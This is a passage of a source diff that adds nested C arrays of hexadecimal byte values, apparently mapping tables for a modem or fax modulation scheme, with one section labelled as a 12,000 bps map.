+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x2d, 0x7e, 0x37},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x7e, 0x27},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x7e, 0x27},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x5e, 0x27},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x2d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x27},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x6e, 0x77},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x6e, 0x77},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x7e, 0x77},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x7e, 0x77},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x7e, 0x67},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x7e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x5e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x02, 0x4b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x20, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x72, 0x6b, 0x1c, 0x45, 0x6e, 0x57},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x6e, 0x77},
+            {0x20, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x6e, 0x77},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x7e, 0x77},
+            {0x28, 0x19, 0x72, 0x7b, 0x1c, 0x45, 0x7e, 0x77},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x72, 0x7b, 0x1c, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x62, 0x7b, 0x14, 0x4d, 0x7e, 0x77},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x7e, 0x67},
+            {0x28, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x7e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x5e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x14, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x14, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x0b, 0x54, 0x6d, 0x0e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x40, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x48, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x11, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x40, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x48, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x19, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x11, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x11, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x4e, 0x07},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x42, 0x5b, 0x54, 0x6d, 0x5e, 0x47}
+        },
+        {
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67}
+        },
+        {
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x60, 0x59, 0x52, 0x6b, 0x5c, 0x65, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x59, 0x52, 0x6b, 0x5c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x52, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x6b, 0x0c, 0x45, 0x6e, 0x57},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x40, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x6e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x09, 0x72, 0x7b, 0x0c, 0x45, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x72, 0x7b, 0x0c, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x7b, 0x04, 0x4d, 0x7e, 0x77},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x7e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x48, 0x01, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x04, 0x4d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67},
+            {0x68, 0x51, 0x62, 0x5b, 0x54, 0x6d, 0x5e, 0x67}
+        }
+    },
+    {   /* 12,000bps map */
+        {
+            {0x38, 0x21, 0x32, 0x13, 0x24, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x24, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x24, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x24, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x24, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x32, 0x13, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x16, 0x37},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x1e, 0x27},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x1e, 0x27},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x1e, 0x27},
+            {0x38, 0x01, 0x22, 0x1b, 0x04, 0x3d, 0x1e, 0x27},
